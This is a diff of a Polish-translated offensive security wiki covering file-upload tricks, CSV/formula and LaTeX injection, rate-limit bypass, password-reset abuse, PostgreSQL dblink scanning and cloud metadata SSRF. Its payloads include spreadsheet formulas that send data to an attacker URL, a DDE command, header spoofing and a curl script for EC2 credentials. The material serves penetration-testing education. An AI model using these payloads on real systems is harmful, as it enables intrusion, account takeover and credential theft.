uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji internetowych. ## Od przesyłania plików do innych luk @@ -172,15 +172,15 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kont - **JS** plik **upload** + **XSS** = [**wykorzystanie Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE w przesyłaniu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files) -- Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* +- Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Słynna luka **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Jeśli możesz **wskazać serwerowi WWW, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**. +- Jeśli możesz **wskazać serwerowi WWW, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje od każdego odwiedzającego**. - [**XXE i CORS** obejście z przesyłaniem PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) - Specjalnie przygotowane PDF-y do XSS: [następująca strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesyłać PDF-y, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami. - Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)), aby sprawdzić, czy serwer ma jakikolwiek **antywirus** -- Sprawdź, czy istnieje jakikolwiek **limit rozmiaru** przy przesyłaniu plików +- Sprawdź, czy istnieje jakikolwiek **limit rozmiaru** podczas przesyłania plików -Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Oto lista 10 rzeczy, które możesz osiągnąć, przesyłając (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: XSS przechowywane / SSRF / XXE @@ -188,9 +188,9 @@ Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj]( 4. **CSV**: wstrzyknięcie CSV 5. **XML**: XXE 6. **AVI**: LFI / SSRF -7. **HTML / JS** : wstrzyknięcie HTML / XSS / Open redirect +7. **HTML / JS** : wstrzyknięcie HTML / XSS / otwarte przekierowanie 8. **PNG / JPEG**: atak pixel flood (DoS) -9. **ZIP**: RCE poprzez LFI / DoS +9. **ZIP**: RCE przez LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE #### Rozszerzenie Burp @@ -199,7 +199,7 @@ Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj]( https://github.com/portswigger/upload-scanner {{#endref}} -## Magic Header Bytes +## Magiczne bajty nagłówka - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` @@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt ``` ### Decompress in different folders -Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że ta konfiguracja może chronić przed wykonywaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji. +Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Pomimo początkowych założeń, że ta konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji. Zautomatyzowany exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można używać w sposób pokazany: ```python @@ -289,7 +289,7 @@ pop graphic-context ``` ## Osadzanie powłoki PHP w PNG -Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania niezmienioną przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia. +Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania nietkniętą przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia. Szczegółowe omówienie tej techniki, w tym jej metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). To źródło oferuje kompleksowe zrozumienie procesu i jego implikacji. @@ -297,7 +297,7 @@ Więcej informacji w: [https://www.idontplaydarts.com/2012/06/encoding-web-shell ## Pliki poliglotowe -Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe. +Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są również kombinacje takie jak GIF i JS lub PPT i JS. Podstawowa użyteczność plików poliglotowych polega na ich zdolności do omijania środków bezpieczeństwa, które skanują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania—takie jak JPEG, GIF lub DOC—aby zminimalizować ryzyko związane z potencjalnie szkodliwymi formatami (np. JS, PHP lub pliki Phar). Jednak plik poliglotowy, dostosowując się do kryteriów strukturalnych wielu typów plików, może dyskretnie omijać te ograniczenia. @@ -307,9 +307,9 @@ Więcej informacji w: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri ### Przesyłanie ważnych plików JSON jakby to był PDF -Jak uniknąć wykrywania typów plików, przesyłając ważny plik JSON, nawet jeśli nie jest to dozwolone, udając plik PDF (techniki z **[tego wpisu na blogu](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Jak uniknąć wykrywania typu pliku, przesyłając ważny plik JSON, nawet jeśli nie jest to dozwolone, udając plik PDF (techniki z **[tego wpisu na blogu](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **Biblioteka `mmmagic`**: Dopóki bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, jest to ważne (przykład z wpisu) +- **Biblioteka `mmmagic`**: Tak długo, jak bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, jest to ważne (przykład z wpisu) - **Biblioteka `pdflib`**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka myślała, że to PDF (przykład z wpisu) - **Binarne `file`**: Może odczytać do 1048576 bajtów z pliku. Po prostu stwórz JSON większy niż to, aby nie mógł sparsować zawartości jako JSON, a następnie wewnątrz JSON umieść początkową część prawdziwego PDF, a pomyśli, że to PDF diff --git a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md index 16e4b1423..c91fa7c1a 100644 --- a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md +++ b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md @@ -6,10 +6,10 @@ ### Info -Jeśli twój **input** jest **odzwierciedlany** w **plikach CSV** (lub jakichkolwiek innych plikach, które prawdopodobnie będą otwierane przez **Excel**), możesz być w stanie wprowadzić **formuły** Excela, które będą **wykonywane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excela. +Jeśli twój **input** jest **odzwierciedlany** w **plikach CSV** (lub jakichkolwiek innych plikach, które prawdopodobnie będą otwierane przez **Excel**), możesz być w stanie wprowadzić **formuły** Excel, które będą **wykonywane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excel. > [!CAUTION] -> Obecnie **Excel będzie ostrzegać** (wielokrotnie) **użytkownika, gdy coś jest ładowane z zewnątrz Excela**, aby zapobiec działaniom złośliwym. Dlatego należy szczególnie skupić się na inżynierii społecznej w końcowym ładunku. +> Obecnie **Excel ostrzega** (wielokrotnie) **użytkownika, gdy coś jest ładowane z zewnątrz Excel**, aby zapobiec działaniom złośliwym. Dlatego należy szczególnie skupić się na inżynierii społecznej w końcowym ładunku. ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` @@ -26,15 +26,15 @@ DDE ("cmd";"/C calc";"!A0")A0 Poniższy przykład został zaczerpnięty z [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) -Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania rekordami studentów, które jest wykorzystywane poprzez atak CSV injection. Głównym celem atakującego jest kompromitacja systemu używanego przez nauczycieli do zarządzania danymi studentów. Metoda polega na tym, że atakujący wstrzykuje złośliwy ładunek do aplikacji, w szczególności poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na dane studentów. Atak rozwija się w następujący sposób: +Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania rekordami studentów, które zostało wykorzystane poprzez atak CSV injection. Głównym celem atakującego jest kompromitacja systemu używanego przez nauczycieli do zarządzania danymi studentów. Metoda polega na tym, że atakujący wstrzykuje złośliwy ładunek do aplikacji, w szczególności poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na dane studentów. Atak rozwija się w następujący sposób: 1. **Wstrzyknięcie złośliwego ładunku:** - Atakujący przesyła formularz danych studenta, ale dodaje formułę powszechnie używaną w arkuszach kalkulacyjnych (np. `=HYPERLINK("","Kliknij tutaj")`). -- Ta formuła ma na celu stworzenie hiperłącza, ale wskazuje na złośliwy serwer kontrolowany przez atakującego. +- Ta formuła ma na celu utworzenie hiperłącza, ale wskazuje na złośliwy serwer kontrolowany przez atakującego. 2. **Eksportowanie skompromitowanych danych:** - Nauczyciele, nieświadomi kompromitacji, korzystają z funkcji aplikacji, aby wyeksportować dane do pliku CSV. - Plik CSV, po otwarciu, nadal zawiera złośliwy ładunek. Ten ładunek pojawia się jako klikalne hiperłącze w arkuszu kalkulacyjnym. -3. **Wywołanie ataku:** +3. **Uruchomienie ataku:** - Nauczyciel klika w hiperłącze, wierząc, że jest to legalna część danych studenta. - Po kliknięciu, wrażliwe dane (potencjalnie w tym szczegóły z arkusza kalkulacyjnego lub komputera nauczyciela) są przesyłane na serwer atakującego. 4. **Rejestrowanie danych:** @@ -70,7 +70,7 @@ LibreOffice Calc może być używany do odczytu lokalnych plików i eksfiltracji Google Sheets oferuje funkcje, które mogą być wykorzystane do eksfiltracji danych OOB: -- **CONCATENATE**: Łączy ciągi - `=CONCATENATE(A2:E2)` +- **CONCATENATE**: Łączy ciągi razem - `=CONCATENATE(A2:E2)` - **IMPORTXML**: Importuje dane z typów danych strukturalnych - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` - **IMPORTFEED**: Importuje kanały RSS lub ATOM - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` - **IMPORTHTML**: Importuje dane z tabel HTML lub list - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` @@ -79,11 +79,11 @@ Google Sheets oferuje funkcje, które mogą być wykorzystane do eksfiltracji da ## Wstrzyknięcie LaTeX -Zazwyczaj serwery, które znajdziesz w internecie, które **konwertują kod LaTeX na PDF** używają **`pdflatex`**.\ +Zazwyczaj serwery, które można znaleźć w internecie, które **konwertują kod LaTeX na PDF** używają **`pdflatex`**.\ Ten program używa 3 głównych atrybutów do (z)zezwolenia na wykonanie poleceń: - **`--no-shell-escape`**: **Wyłącza** konstrukcję `\write18{command}`, nawet jeśli jest włączona w pliku texmf.cnf. -- **`--shell-restricted`**: To samo co `--shell-escape`, ale **ograniczone** do 'bezpiecznego' zestawu **zdefiniowanych** \*\*poleceń (\*\*Na Ubuntu 16.04 lista znajduje się w `/usr/share/texmf/web2c/texmf.cnf`). +- **`--shell-restricted`**: To samo co `--shell-escape`, ale **ograniczone** do 'bezpiecznego' zestawu **zdefiniowanych** **poleceń** (**Na Ubuntu 16.04 lista znajduje się w `/usr/share/texmf/web2c/texmf.cnf`). - **`--shell-escape`**: **Włącza** konstrukcję `\write18{command}`. Polecenie może być dowolnym poleceniem powłoki. Ta konstrukcja jest zazwyczaj zabroniona z powodów bezpieczeństwa. Jednak istnieją inne sposoby na wykonanie poleceń, więc aby uniknąć RCE, bardzo ważne jest użycie `--shell-restricted`. @@ -165,11 +165,11 @@ Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` -## Wstrzyknięcie Ghostscript +## Ghostscript Injection **Sprawdź** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) -## Odniesienia +## References - [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) - [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index 28c3b8ea4..47c9bfc5d 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -1,12 +1,12 @@ -# Ominięcie limitu szybkości +# Rate Limit Bypass {{#include ../banners/hacktricks-training.md}} -## Techniki omijania limitu szybkości +## Techniki omijania limitów ### Badanie podobnych punktów końcowych -Należy podjąć próby przeprowadzenia ataków brute force na warianty docelowego punktu końcowego, takie jak `/api/v3/sign-up`, w tym alternatywy takie jak `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` itp. +Należy podjąć próby przeprowadzenia ataków brute force na warianty docelowego punktu końcowego, takie jak `/api/v3/sign-up`, w tym alternatywy takie jak `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` itd. ### Wprowadzanie pustych znaków w kodzie lub parametrach @@ -14,7 +14,7 @@ Wstawianie pustych bajtów, takich jak `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0 ### Manipulowanie pochodzeniem IP za pomocą nagłówków -Modyfikowanie nagłówków w celu zmiany postrzeganego pochodzenia IP może pomóc w uniknięciu limitowania szybkości opartego na IP. Nagłówki takie jak `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, w tym użycie wielu instancji `X-Forwarded-For`, mogą być dostosowane w celu symulacji żądań z różnych adresów IP. +Modyfikacja nagłówków w celu zmiany postrzeganego pochodzenia IP może pomóc w ominięciu limitów opartych na IP. Nagłówki takie jak `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, w tym użycie wielu instancji `X-Forwarded-For`, mogą być dostosowane w celu symulacji żądań z różnych adresów IP. ```bash X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 @@ -36,9 +36,9 @@ Zaleca się modyfikację innych nagłówków żądania, takich jak user-agent i Niektóre bramy API są skonfigurowane do stosowania limitów na podstawie kombinacji punktu końcowego i parametrów. Zmienianie wartości parametrów lub dodawanie nieistotnych parametrów do żądania może umożliwić obejście logiki limitowania bramy, sprawiając, że każde żądanie wydaje się unikalne. Na przykład `/resetpwd?someparam=1`. -### Logowanie się do Konta Przed Każdą Próba +### Logowanie się do Konta Przed Każdym Próbą -Logowanie się do konta przed każdą próbą lub każdą serią prób może zresetować licznik limitu. Jest to szczególnie przydatne podczas testowania funkcji logowania. Wykorzystanie ataku Pitchfork w narzędziach takich jak Burp Suite, aby rotować dane logowania co kilka prób i upewnić się, że przekierowania są oznaczone, może skutecznie zresetować liczniki limitu. +Logowanie się do konta przed każdą próbą lub każdym zestawem prób może zresetować licznik limitu. Jest to szczególnie przydatne podczas testowania funkcji logowania. Wykorzystanie ataku Pitchfork w narzędziach takich jak Burp Suite, aby rotować dane uwierzytelniające co kilka prób i upewnić się, że przekierowania są oznaczone, może skutecznie zrestartować liczniki limitu. ### Wykorzystanie Sieci Proxy @@ -50,6 +50,10 @@ Jeśli system docelowy stosuje limity na poziomie konta lub sesji, rozdzielenie ### Kontynuuj Próby -Zauważ, że nawet jeśli limit jest wprowadzony, powinieneś spróbować zobaczyć, czy odpowiedź jest inna, gdy wysłany jest ważny OTP. W [**tym poście**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), łowca błędów odkrył, że nawet jeśli limit jest wyzwolony po 20 nieudanych próbach, odpowiadając z 401, jeśli wysłano ważny, otrzymano odpowiedź 200. +Zauważ, że nawet jeśli limit jest wprowadzony, powinieneś spróbować sprawdzić, czy odpowiedź jest inna, gdy wysłany jest ważny OTP. W [**tym poście**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), łowca błędów odkrył, że nawet jeśli limit jest wyzwolony po 20 nieudanych próbach, odpowiadając z 401, jeśli wysłano ważny, otrzymano odpowiedź 200. + +### Narzędzia + +- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz to narzędzie do fuzzingu zaprojektowane do testowania i omijania WAF-ów i CDN-ów. Wykorzystując zaawansowane funkcje, takie jak losowy User-Agent i wartość nagłówka, losowe opóźnienia, obsługę wielowątkowości, selektywne dzielenie list słów i rotację proxy Round Robin dla każdego podzielonego, oferuje solidne rozwiązanie dla profesjonalistów zajmujących się bezpieczeństwem, którzy dążą do identyfikacji luk w aplikacjach internetowych. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index 5d9bb454f..7e54faafc 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -6,7 +6,7 @@ ### Duplikat Rejestracji -- Spróbuj wygenerować przy użyciu istniejącej nazwy użytkownika +- Spróbuj wygenerować używając istniejącej nazwy użytkownika - Sprawdź różne warianty e-maila: - wielkie litery - \+1@ @@ -23,11 +23,11 @@ Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika została już zarejestr ### Polityka Hasła Tworząc użytkownika, sprawdź politykę haseł (sprawdź, czy możesz używać słabych haseł).\ -W takim przypadku możesz spróbować przeprowadzić atak brute force na dane logowania. +W takim przypadku możesz spróbować bruteforce'ować dane logowania. ### SQL Injection -[**Sprawdź tę stronę** ](sql-injection/index.html#insert-statement), aby dowiedzieć się, jak próbować przejąć konta lub wydobywać informacje za pomocą **SQL Injections** w formularzach rejestracyjnych. +[**Sprawdź tę stronę** ](sql-injection/index.html#insert-statement), aby dowiedzieć się, jak próbować przejęć kont lub wydobywać informacje za pomocą **SQL Injections** w formularzach rejestracyjnych. ### Przejęcia Oauth @@ -72,7 +72,7 @@ Po rejestracji spróbuj zmienić e-mail i sprawdź, czy ta zmiana jest poprawnie 4. Szukaj URL resetu hasła na podstawie _nagłówka host_ jak: `https://attacker.com/reset-password.php?token=TOKEN` ### Reset Hasła przez Parametr E-mail -```powershell +```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com @@ -92,16 +92,16 @@ email=victim@mail.com|hacker@mail.com 1. Atakujący musi zalogować się na swoje konto i przejść do funkcji **Zmień hasło**. 2. Uruchom Burp Suite i przechwyć żądanie. -3. Wyślij je do zakładki repeater i edytuj parametry: ID użytkownika/email\ +3. Wyślij je do zakładki repeater i edytuj parametry: User ID/email\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` ### Słaby token resetowania hasła -Token resetowania hasła powinien być generowany losowo i unikalnie za każdym razem.\ +Token resetowania hasła powinien być generowany losowo i unikalny za każdym razem.\ Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam; w niektórych przypadkach algorytm generacji jest słaby i można go odgadnąć. Poniższe zmienne mogą być używane przez algorytm. -- Znacznik czasu -- ID użytkownika +- Timestamp +- UserID - Email użytkownika - Imię i nazwisko - Data urodzenia @@ -113,15 +113,15 @@ Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam; w niektórych prz ### Wyciekanie tokenu resetowania hasła -1. Wywołaj żądanie resetowania hasła za pomocą API/UI dla konkretnego emaila, np.: test@mail.com +1. Wywołaj żądanie resetowania hasła za pomocą API/UI dla konkretnego adresu e-mail, np.: test@mail.com 2. Sprawdź odpowiedź serwera i poszukaj `resetToken` 3. Następnie użyj tokenu w URL, jak `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` ### Resetowanie hasła przez kolizję nazw użytkowników -1. Zarejestruj się w systemie z nazwą użytkownika identyczną do nazwy użytkownika ofiary, ale z wstawionymi białymi znakami przed i/lub po nazwie użytkownika. np.: `"admin "` -2. Poproś o resetowanie hasła za pomocą swojego złośliwego nazwy użytkownika. -3. Użyj tokenu wysłanego na swój email i zresetuj hasło ofiary. +1. Zarejestruj się w systemie z nazwą użytkownika identyczną do nazwy użytkownika ofiary, ale z wstawionymi spacjami przed i/lub po nazwie użytkownika, np.: `"admin "` +2. Poproś o resetowanie hasła za pomocą swojej złośliwej nazwy użytkownika. +3. Użyj tokenu wysłanego na swój e-mail i zresetuj hasło ofiary. 4. Zaloguj się na konto ofiary za pomocą nowego hasła. Platforma CTFd była podatna na ten atak.\ diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index 1aa7c4fe6..d569d4688 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -1,4 +1,4 @@ -# Sieć - Privesc, skaner portów i ujawnienie odpowiedzi NTLM +# Sieć - Privesc, Skaner Portów i ujawnienie odpowiedzi NTLM {{#include ../../../banners/hacktricks-training.md}} @@ -16,7 +16,7 @@ Plik `pg_hba.conf` może być źle skonfigurowany **pozwalając na połączenia* ``` local all all trust ``` -_Note, że ta konfiguracja jest powszechnie używana do modyfikacji hasła użytkownika bazy danych, gdy administrator je zapomni, więc czasami możesz to znaleźć._\ +_Note, że ta konfiguracja jest powszechnie używana do modyfikacji hasła użytkownika bazy danych, gdy administrator je zapomni, więc czasami możesz ją znaleźć._\ _Note również, że plik pg_hba.conf jest czytelny tylko dla użytkownika i grupy postgres oraz zapisywalny tylko przez użytkownika postgres._ Ten przypadek jest **przydatny, jeśli** masz **już** **powłokę** wewnątrz ofiary, ponieważ pozwoli ci to połączyć się z bazą danych postgresql. @@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT); ``` ### Port Scanning -Wykorzystując `dblink_connect`, możesz również **wyszukiwać otwarte porty**. Jeśli ta \*\*funkcja nie działa, powinieneś spróbować użyć `dblink_connect_u()`, ponieważ dokumentacja mówi, że `dblink_connect_u()` jest identyczna z `dblink_connect()`, z tą różnicą, że pozwoli użytkownikom niebędącym superużytkownikami łączyć się przy użyciu dowolnej metody uwierzytelniania\_. +Wykorzystując `dblink_connect`, możesz również **wyszukiwać otwarte porty**. Jeśli ta **funkcja nie działa, powinieneś spróbować użyć `dblink_connect_u()`, ponieważ dokumentacja mówi, że `dblink_connect_u()` jest identyczna z `dblink_connect()`, z wyjątkiem tego, że pozwoli użytkownikom niebędącym superużytkownikami łączyć się przy użyciu dowolnej metody uwierzytelniania**. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index b51b0b718..f594be307 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -15,7 +15,7 @@ Istnieją **2 wersje** punktu końcowego metadanych. **Pierwsza** pozwala na **d > > Ponadto, **IMDSv2** również **zablokuje żądania o token, które zawierają nagłówek `X-Forwarded-For`**. Ma to na celu zapobieżenie dostępowi do niego przez źle skonfigurowane proxy odwrotne. -Możesz znaleźć informacje o [punktach końcowych metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskuje się z niego interesujące informacje: +Możesz znaleźć informacje o [punktach końcowych metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskuje się interesujące informacje z niego: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" @@ -79,9 +79,9 @@ Jako **publicznie dostępny przykład ujawnionych poświadczeń IAM** możesz od Możesz również sprawdzić publiczne **poświadczenia bezpieczeństwa EC2** w: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) -Możesz następnie wziąć **te poświadczenia i użyć ich z AWS CLI**. To pozwoli ci na **wszystko, co ta rola ma uprawnienia** do zrobienia. +Możesz następnie wziąć **te poświadczenia i użyć ich z AWS CLI**. To pozwoli ci zrobić **wszystko, co ta rola ma uprawnienia** do zrobienia. -Aby skorzystać z nowych poświadczeń, będziesz musiał utworzyć nowy profil AWS, taki jak ten: +Aby skorzystać z nowych poświadczeń, musisz utworzyć nowy profil AWS, taki jak ten: ``` [profilename] aws_access_key_id = ASIA6GG71[...] @@ -90,7 +90,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4 ``` Zauważ **aws_session_token**, jest to niezbędne do działania profilu. -[**PACU**](https://github.com/RhinoSecurityLabs/pacu) może być używane z odkrytymi poświadczeniami, aby dowiedzieć się o swoich uprawnieniach i spróbować je eskalować. +[**PACU**](https://github.com/RhinoSecurityLabs/pacu) może być użyty z odkrytymi poświadczeniami, aby dowiedzieć się o swoich uprawnieniach i spróbować je eskalować. ### SSRF w AWS ECS (usługa kontenerowa) poświadczenia @@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo ``` ### Cloud Functions -Endpoint metadanych działa tak samo jak w VM, ale bez niektórych endpointów: +Endpoint metadanych działa tak samo jak w VM, ale bez niektórych punktów końcowych: ```bash # /project # Project name and number @@ -323,15 +323,15 @@ curl http://169.254.169.254/metadata/v1.json | jq - Nie może **zawierać** nagłówka `X-Forwarded-For` > [!TIP] -> Azure VM może mieć przypisaną 1 tożsamość zarządzaną przez system oraz kilka tożsamości zarządzanych przez użytkownika. Co zasadniczo oznacza, że możesz **podszywać się pod wszystkie tożsamości zarządzane przypisane do VM**. +> Azure VM może mieć przypisaną 1 tożsamość zarządzaną przez system i kilka tożsamości zarządzanych przez użytkownika. Co zasadniczo oznacza, że możesz **podszywać się pod wszystkie tożsamości zarządzane przypisane do VM**. > -> Domyślnie punkt końcowy metadanych użyje **przypisanej tożsamości MI (jeśli istnieje)**. +> Podczas żądania tokena dostępu do punktu końcowego metadanych, domyślnie usługa metadanych użyje 